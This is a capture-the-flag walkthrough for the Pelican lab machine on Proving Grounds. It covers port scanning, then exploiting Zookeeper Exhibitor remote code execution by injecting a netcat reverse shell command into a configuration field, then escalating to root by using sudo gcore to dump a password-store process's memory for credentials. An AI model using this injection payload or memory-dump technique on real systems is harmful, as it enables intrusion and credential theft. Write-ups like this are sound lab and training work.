Pelican
Introduction
This write-up details the steps taken to solve the Pelican machine from Proving Grounds Practice. The approach includes reconnaissance, enumeration, exploitation, and privilege escalation to gain root access.
Reconnaissance
Initial Nmap Scan
To begin the process, an nmap scan was conducted to identify open ports and services running on the target machine:
sudo nmap -sSCV -n -T4 -Pn -p- 192.168.157.98PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA)
| 256 bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA)
|_ 256 f2:eb:fc:45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
631/tcp open ipp CUPS 2.2
|_http-server-header: CUPS/2.2 IPP/2.1
|_http-title: Forbidden - CUPS v2.2.10
| http-methods:
|_ Potentially risky methods: PUT
2181/tcp open zookeeper Zookeeper 3.4.6-1569965 (Built on 02/20/2014)
2222/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA)
| 256 bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA)
|_ 256 f2:eb:fc:45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519)
8080/tcp open http Jetty 1.0
|_http-server-header: Jetty(1.0)
|_http-title: Error 404 Not Found
8081/tcp open http nginx 1.14.2
|_http-title: Did not follow redirect to http://192.168.157.98:8080/exhibitor/v1/ui/index.html
|_http-server-header: nginx/1.14.2
46295/tcp open java-rmi Java RMI
Service Info: Host: PELICAN; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.9.5-Debian)
| Computer name: pelican
| NetBIOS computer name: PELICAN\x00
| Domain name: \x00
| FQDN: pelican
|_ System time: 2025-03-03T11:57:33-05:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h40m05s, deviation: 2h53m13s, median: 5s
| smb2-time:
| date: 2025-03-03T16:57:32
|_ start_date: N/AEnumeration
Port 139/445
Guest access is enabled on Samba, but there are no accessible shares.
Port 8080
The Jetty 1.0 service on port 8080 returned a 404 Not Found error, meaning there was no default page or directory listing available.
Port 8081
Port 8081 serves an nginx 1.14.2 instance, which redirects to an Exhibitor Zookeeper UI on port 8080.
Researching online, Exhibitor has a known remote code execution (RCE) vulnerability due to improper handling of configuration parameters.
Explotation
RCE Exploit
After identifying the Exhibitor web UI, I found a public exploit for remote code execution:
📌 Exploit: Zookeeper Exhibitor RCE - Exploit-DB (48654)
Steps to Exploit
Access the Exhibitor UI and navigate to the Config tab, and Enable Editing Mode by flipping the Editing switch to ON.
In the “java.env script” field, enter any command surrounded by $() or , for example, for a simple reverse shell:
$(/bin/nc -e /bin/sh 192.168.45.234 4444 &)
Start a Netcat listener on the attacking machine:
nc -nvlp 4444Click Commit > All At Once > OK to apply the configuration change.
The command execution may take up to a minute before the reverse shell is received.
TTY Treatment
Once I had successfully established the reverse shell, the session was not as stable or user-friendly as it could be. The shell I obtained was non-interactive, meaning it didn’t allow me to perform typical interactive tasks like tab completion, command history, or using commands like sudo properly.
To resolve this, I applied a TTY treatment to the shell, making it more stable and interactive. This was done by upgrading the shell to a fully interactive terminal using the following command:
script /dev/null -c bash
CTRL + z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 53 columns 236After checking the contents of the charle's directory, I discovered the user flag.
Privilege Escalation
Identifying Privileged Binary - gcore
During privilege escalation enumeration, I discovered that the user charles has permission to execute the gcore binary as root.
Understanding gcore
gcore is a utility used to generate core dumps of running processes. These dumps can contain sensitive information, such as:
Plaintext passwords
Cryptographic keys
Open file contents
This makes gcore a valuable tool for extracting credentials from memory.
Finding a SUID Binary - /usr/bin/password-store
Continuing enumeration, I identified a SUID binary:
This binary, when executed, likely interacts with credentials, making it an interesting target for memory dumping.
Exploiting gcore to Dump Memory
Since I can generate core dumps of root-owned processes, I decided to:
Execute the password-store binary.
Identify its process ID (PID).
Dump its memory using gcore.
Extract sensitive information from the dump.
Step 1: Execute password-store
Once running, I obtained its PID:
/usr/bin/password-store
ps aux | grep password-store
Step 2: Dump Process Memory
Using gcore, I generated a core dump of the process:
sudo /usr/bin/gcore 490This produced a binary dump file, core.490
Step 3: Extracting Credentials
Using strings, I searched the core dump file for readable text, specifically looking for passwords:
strings core.490After filtering the output, I discovered the root password:
With the root password extracted, I elevated privileges by switching to the root user:
Last updated